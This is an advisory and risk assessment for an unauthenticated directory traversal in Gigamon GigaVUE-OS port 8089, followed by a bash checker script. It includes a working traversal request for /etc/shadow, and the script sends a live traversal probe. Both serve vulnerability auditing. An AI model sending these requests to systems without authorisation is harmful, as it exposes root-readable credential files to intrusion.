Gigamon GigaVUE-OS H-VUE Subsystem Unauthenticated Directory Traversal (persistd on port 8089)

CVE-2026-36848 is an unauthenticated directory traversal in the H-VUE web management subsystem of Gigamon GigaVUE-OS (GVOS) appliances running version 5.16.1 and earlier. The vulnerable component is persistd.py, a TornadoHTTP-based daemon listening on port 8089. It exposes /download/ and /upload/ URL handlers that pass user-supplied path segments directly to filesystem operations without sanitisation. An attacker with network access to port 8089 can read arbitrary files as root (e.g., GET /download/..%2F..%2F..%2Fetc%2Fshadow) and perform partial writes — creating new files at arbitrary locations, though overwriting existing files is not possible. The write primitive could theoretically be chained to RCE by dropping a cron job or similar, and the PoC author (calligraf0) labels the exploit "Unauth RCE," though the CVSS vector scores only the confidentiality impact.

The vendor's HIGH / 7.5 rating is technically defensible if you evaluate the CVSS vector in a vacuum: network-reachable, no auth, no user interaction, high confidentiality impact. But it dramatically overstates real-world risk. GVOS 5.16.1 reached end of support on May 26, 2023 — over three years ago. GVOS 6.x removed the H-VUE subsystem entirely, meaning no currently supported version of GigaVUE-OS contains this code. Gigamon packet brokers sit on isolated management networks deep inside data centers; port 8089 is a legacy management interface with near-zero internet exposure. SSVC classifies it as *not automatable* with *partial technical impact*. The vendor severity treats the vulnerability as if it exists in actively maintained, widely deployed software — it does not.

Sources.

1. OpenCVE — CVE-2026-36848 Detail
2. calligraf0/CVE-2026-36848 — GitHub PoC
3. Strix AI — CVE-2026-36848 Analysis
4. CyberStrike — CVE-2026-36848 Detail
5. Gigamon EOL Policy
6. Gigamon Default Ports Documentation
7. Gigamon End-of-Sale / End-of-Life Products

Run this script from any Linux/macOS workstation that has network access to the Gigamon appliance's management interface. Usage: ./check_cve_2026_36848.sh <target_ip>. No special privileges required on the auditor workstation; the script makes an unauthenticated HTTP request to port 8089.

#!/usr/bin/env bash
# CVE-2026-36848 Checker — Gigamon GVOS H-VUE Directory Traversal
# Tests whether port 8089 (H-VUE persistd) is reachable and responds
# to a path-traversal probe reading /etc/hostname.
# Exit codes: 0 = VULNERABLE, 1 = PATCHED/NOT AFFECTED, 2 = UNKNOWN

set -euo pipefail

TARGET="${1:-}"
PORT=8089
TIMEOUT=5

if [ -z "$TARGET" ]; then
  echo "Usage: $0 <target_ip_or_hostname>"
  exit 2
fi

# Step 1: Check if port 8089 is open
if ! timeout "$TIMEOUT" bash -c "echo >/dev/tcp/$TARGET/$PORT" 2>/dev/null; then
  echo "PATCHED — Port $PORT is not reachable on $TARGET."
  echo "The H-VUE subsystem (persistd) is not listening. Either GVOS >= 6.x"
  echo "(which removed H-VUE) or the port is firewalled."
  exit 1
fi

echo "[*] Port $PORT is open on $TARGET. Testing traversal..."

# Step 2: Attempt directory traversal to read /etc/hostname
RESPONSE=$(curl -sk --max-time "$TIMEOUT" \
  "http://$TARGET:$PORT/download/..%2F..%2F..%2Fetc%2Fhostname" 2>/dev/null || true)

if [ -z "$RESPONSE" ]; then
  # Try HTTPS variant
  RESPONSE=$(curl -sk --max-time "$TIMEOUT" \
    "https://$TARGET:$PORT/download/..%2F..%2F..%2Fetc%2Fhostname" 2>/dev/null || true)
fi

if [ -z "$RESPONSE" ]; then
  echo "UNKNOWN — Port $PORT is open but did not respond to traversal probe."
  echo "Manually verify whether the H-VUE subsystem is running."
  exit 2
fi

# Step 3: Check if we got a hostname back (not an error page)
if echo "$RESPONSE" | grep -qiE '(404|not found|error|forbidden|<!DOCTYPE)'; then
  echo "PATCHED — Port $PORT responded but rejected the traversal request."
  exit 1
fi

# If we got non-error content back, the traversal likely succeeded
echo "VULNERABLE — CVE-2026-36848 confirmed on $TARGET."
echo "Traversal response (first 200 chars):"
echo "$RESPONSE" | head -c 200
echo ""
exit 0